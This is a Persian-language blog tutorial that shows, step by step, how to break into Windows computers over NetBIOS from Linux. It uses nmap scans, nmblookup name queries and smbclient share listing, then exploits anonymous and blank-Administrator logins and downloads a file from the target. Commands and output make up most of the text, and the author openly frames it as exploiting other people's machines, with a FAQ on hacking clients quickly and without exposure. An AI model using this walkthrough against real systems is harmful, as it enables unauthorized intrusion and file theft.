آموزش کامپیوتر

با سلام خدمت شما کاربران گرامی - اگر از مطالب وبلاگ خوشتان آمد نظرات و پیشنهادات خود را برای ما ارسال نمایید

Samba چیست؟

تبلیغات

یکی از سایت های پر سابقه کسب درامد در ایران

- Samba چیست؟

احتمالا میدونید که Netbios پرتکل معروف مایکروسافت برای ارتباط ویندوز ها با هم و احتمالا Share کردن پرینتر یا فایله. همچنین وقتی که بحث نفوذ به Client و بر بعضی مواقع Server ها پیش میاد، Netbios یکی از اولین انتخاب هاست. ما در این مقاله سعی میکنیم از این ضعف سیستم عاملهای مایکروسافت سوءاستفاده کنیم.
سیستم عاملهای بر پاییه یونیکس مثل لینوکس برای Share کردن فایلها و پرینتر ها از طریق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز میشه استفاده میکنن و از این طریق لینوکس میتونه Share های کامپیوتر های ویندوز رو Mount کنه. (اگه کاربر لینوکس هستید، نمی‌تونید روش‌هایی که در درس قبلی برای ویندوز ذکر شده استفاده کنید، بلکه باید از Samba بهره گیرید. اما طرف مقابل که قرار است هک بشه، سیستم‌عاملش رو فرض می‌کنیم که ویندوزه. پس ما می‌خوایم با لینوکس یک سیستم‌عامل ویندوز را که ۱۳۹ باز داره، هک کنیم) بی شک Netbios عمومی ترین مشکل امنیتی ویندوزه که استفاده ازش چندان مشکل نیست.
خب ! همون طور که گفتم ما برای این کار از Samba استفاده میکنیم. من اینجا چیزی در مورد Samba نمی‌نویسم و بنا کار رو بر این میگذارم که تا حدودی میتونید با Samba کار کنید . اگر احتمالا مشکلی دارید میتونید به Samba.org سر بزنید و در Documention ها دنبال راهنما باشید :) به طور کل اگر نمیدونید چطور از Samba استفاده کنید بهتره که کاری با کامپیوتر های مردم نداشته باشید ! :)


- چگونه با پورت ۱۳۹ صحبت کنیم؟

۱- اولین قدم پیدا کردن کامپیوتریه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. برای اینکار از Nmap استفاده می‌کنیم. Nmap معمولا رو همه Description های فعلی پیدا میشه. می‌خوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدام‌ها پورت ۱۳۹ باز دارند. برای این کار می‌نویسم:

# nmap -sS -O 192.168.3.1-50 -p 139

و جواب می‌شنوم:

st 1 open and 1 closed TCP port
Interesting ports on  (192.168.3.2):
Port       State       Service
139/tcp    open        netbios-ssn
Remote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3

باید اینو بهتون بگم که من دارم این کار رو روی Lan انجام میدم و همه Ip ها Static هستند. ولی خب کار رو جوری در نظر میگیرم که گویا نمیدونم چه Host های اینجا وجود دارن :) 192.168.3.1 یک SuSE 8 هست که کار رو از طریقش انجام میدیم و 192.168.3.2 یک win2kpro sp2 هست که قربانیه و البته FireWall نداره :) من اینجا از آیپی های کلاس C استفاده میکنم ممکنه وضع شما تو اینترنت فرق کنه، ولی خب نحوه کار تغییر نمیکنه. حالا هدف رو پیدا کردیم، هدف ما 192.168.3.2 هست .

۲- قدم دوم گرفتن NetbiosName های هدفه. بدون این اسمها ما نمیتونیم هیچ جور اطلاعاتی از هدف بگیریم. از اونجایی که مایکروسافت سعی کرده همه کارها رو ساده کنه، ویندوز های رو شبکه Netbios به جای Ip Address از اسم استفاده میکنن!! خب اینجا لازمه از یه Netbios Scanner یا Share Scanner استفاده کنیم. معمولا رو هر Description یی دستور nmblookup پیدا میشه - که خیلی شبیه nbtstat ویندوزه - رو لینوکس کار میکنه. من شخصا خیلی از nmblookup خوشم نمیاد چون Share Scanner های بسیار بهتری هستن ! :) به هر صورت من اینجا از nmblookup استفاده میکنم . شکل کلی دستور اینه : nmblookup –A . این flag ه A باعث میشه که nmblookup بتونه Query بهتری انجام بده . حالا رو هدفهوم امتحان میکنیم :

# nmblookup –A 192.168.3.2

و جواب می‌گیرم:

Looking up status of 192.168.3.2
        ARMINLAPTOP     <00> -          B < ACTIVE>
        WORKGROUP       <00> - < GROUP> B < ACTIVE>
        ARMINLAPTOP     <03> -          B < ACTIVE>
        ARMINLAPTOP     <20> -          B < ACTIVE>
        WORKGROUP       <1e> - < GROUP> B < ACTIVE>
        ADMINISTRATOR   <03> -          B < ACTIVE>
        WORKGROUP       <1d> -          B < ACTIVE>
        ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>

همه چیز مشخصه نه ؟ اسم کامپیوتر ARMINLAPTOP , گروه کامپیوتر WORKGROUP و کاربر فعال Administrator هست :)

۳- بگذارین قبل از قسمت سوم کار یکمی در مورد ویندوز ها صحبت کنیم. Netbios به طور کلی روی همه ویندوز ها به نوعی خطر ایجاد میکنه. رو ویندوز های سری 2000 به بالا همه پارتیشن های سیستم Share شده اند و با پسوردی که Administrator دارد، باز میشن. خیلی از کاربران تازه کار هم پسورد Administrator رو خالی میگذارن. به نظر من این سری ویندوز ها بیشتر در خطر هستند. رو ویندوز های 9x هیچ فایلی به طور Default Share نشده، ولی خوب اگر بشه ممکنه بتونیم از طریقش بدون پسورد وارد فایل سیستم بشیم :) حتی اگر پسورد Administrator رو هم نداشته باشیم Anonymous Login میتونه اطلاعات خیلی مفیدی بهموم بده :) حالا می‌خواهیم لیست Share ها رو بدست بیاوریم . ( در درس قبلی برای ویندوز از دستور net view برای همین‌کار استفاده کردیم) توجه کنید که کرنل باید Network File System و Samba File System رو ساپرت کرده باشه : در این مثال در نظر گرفتم که پسورد Administrator خالیه ! :) می‌نویسم:

# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2

نتیجه دستور به صورت زیر است:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

        Sharename      Type      Comment
        ---------      ----      -------
        IPC$           IPC       Remote IPC
        D$             Disk      Default share
        ADMIN$         Disk      Remote Admin
        C$             Disk      Default share
        Armin          Disk

        Server               Comment
        ---------            -------
        ARMINDESKTOP         Samba 2.2.3a
        ARMINLAPTOP

        Workgroup            Master
        ---------            -------
        WORKGROUP            ARMINLAPTOP

خب میبینید ؟ :) هر دو پارتیشن ARMINLAPTOP در اختیار شماست ! :) همچنین کامپیوتر هایی که باهاش در ارتباط هستند رو هم میبینیم. در این مثال ملاحظه می‌فرمایید که Armin به عنوان Disk به‌اشتراک گذاشته شده. خب قبل از اینکه بریم سراغ بقیه کار یک بار هم Anonymous رو امتحان میکنیم ( یه چیزی مثل Null Session ):

# smbclient -LARMINLAPTOP -I 192.168.3.2

و جواب:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

        Sharename      Type      Comment
        ---------      ----      -------
Error returning browse list: NT_STATUS_ACCESS_DENIED

        Server               Comment
        ---------            -------
        ARMINDESKTOP         Samba 2.2.3a
        ARMINLAPTOP

        Workgroup            Master
        ---------            -------
        WORKGROUP            ARMINLAPTOP

خب باز هم یه اطلاعاتی پیدا میکنیم ! :) با اینکه فایلهای Share شده رو نمیبینیم، به هر صورت از هیچی بهتره ! شاید یه جای دیگه به درد بخوره !

۴- خب حالا سعی میکنیم که این Share هارو Mount کنیم. می‌نویسیم:

# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2

و جواب می‌شنوم:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
session setup failed: NT_STATUS_LOGON_FAILURE

خب ! :) Share توسط Password محافظت میشه ! :) کار زیادی نمی‌تونیم انجام بدیم. مثلا می‌تونیم همین Null پسورد رو امتحان کنم، ولی خب اگر با Win9x طرف باشیم کاری نمیشه کرد . حالا رو ویندوز 2000 به بالا کار می‌کنیم. روی اینکه کاربر ناشی باشه و پسورد Administrator رو خالی گذاشته باشه خیلی حساب کردیم :

# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator

و جواب می‌شنوم:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \> 

این

smb: \> ls

و جواب می‌شنوم:

  .                                  DA        0  Sat Feb  8 05:34:11 2003
  ..                                 DA        0  Sat Feb  8 05:34:11 2003
  Blcorp                              D        0  Sat Feb  8 03:05:51 2003
 
                47943 blocks of size 65536. 8261 blocks available

و ادامه می‌دم به صورت زیر:

smb: \> cd Blcorp
smb: \Blcorp\> ls
  .                                   D        0  Sat Feb  8 03:05:51 2003
  ..                                  D        0  Sat Feb  8 03:05:51 2003
  WLTrial.exe                         A  2321412  Mon Apr 29 14:18:58 2002

                47943 blocks of size 65536. 8261 blocks available
smb: \Blcorp\> get WLTrial.exe
getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: \Blcorp\>

شما میتونید از دستور Pull برای فرستادن فایل و get برای گرفتن فایل استفاده کنید :) فایلها گرفته شده در دایرکتوری فعلی شما ذخیره میشوند . قسمت امیدوار کننده کار اینه که خیلی از مردم از ویندوز استفاده میکنن و اکثرشون حتی نمیدونن که همه فایل سیستم هاشون بدون پسورد به راحتی قابل دسترسه. خب ما هم اینهارو یاد نمی‌گیریم که دور دنیا بچرخیم و فایلهای مردم رو پاک کنیم !


- FAQ

- آیا Samba به نا امنی Netbios ویندوز است ؟
نه اصلا ! Samba یک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسیار پایینه ! فرض کنید از طریق سیستم‌عامل ویندوز می‌خوام این کامپیوتری که Samba داره رو هک کنم. دستور تایپ شده و جواب بدست اومده بیانگر امنیت Samba ست:

C:\>nbtstat -A 192.168.3.1

Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []

    Host not found

- یک نفوذ بدون مشکل جدی چقدر طول می‌کشه ؟
موقع هک کردن Client باید سریع باشید ! کل این مراحل حداکثر 3 یا 4 دقیقه وقت میگیره , فقط نوشتنش طول میکشه! :)

- چرا هک کردن Netbios از طریق Unix/Linux راحت تر از Windows هست ؟
خب خیلی سریع تره، ابزارهای بهتر و از همه مهم‌تر اینکه خودتون در معرض خطر نیستید :)